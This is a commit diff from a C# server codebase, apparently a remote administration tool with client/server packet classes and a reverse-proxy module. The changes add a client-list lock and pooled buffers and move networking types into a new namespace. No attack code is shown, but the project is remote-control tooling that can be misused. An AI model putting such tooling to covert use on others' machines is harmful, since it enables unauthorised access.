/// <summary>
/// List of the clients connected to the server.
/// </summary>
private List<Client> _clients;
/// <summary>
/// Lock object for the list of clients.
/// </summary>
private readonly object _clientsLock = new object();
/// <summary>
/// List of all supported Packet Types by the server.
/// </summary>
@ -230,6 +254,8 @@ public void Listen(ushort port)
}
}
BufferManager = new PooledBufferManager(MAX_PACKET_SIZE, 1) {ClearOnReturn = true};
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
_handle.Bind(new IPEndPoint(IPAddress.Any, port));
@ -366,6 +392,7 @@ public void Disconnect()
}
}
BufferManager.FreeAllBuffers();
Listening = false;
OnServerState(false);
}

View File

@ -3,7 +3,7 @@
using xServer.Core.ReverseProxy;
using xServer.Forms;
namespace xServer.Core
namespace xServer.Core.Networking
{
public class UserState
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,5 +1,6 @@
using System.Collections.Generic;
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ClientPackets
{

View File

@ -1,4 +1,6 @@
namespace xServer.Core.Packets
using xServer.Core.Networking;
namespace xServer.Core.Packets
{
public interface IPacket
{

View File

@ -1,4 +1,5 @@
using xServer.Core.Commands;
using xServer.Core.Networking;
using xServer.Core.ReverseProxy;
namespace xServer.Core.Packets

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

View File

@ -1,4 +1,5 @@
using ProtoBuf;
using xServer.Core.Networking;
namespace xServer.Core.Packets.ServerPackets
{

Some files were not shown because too many files have changed in this diff Show More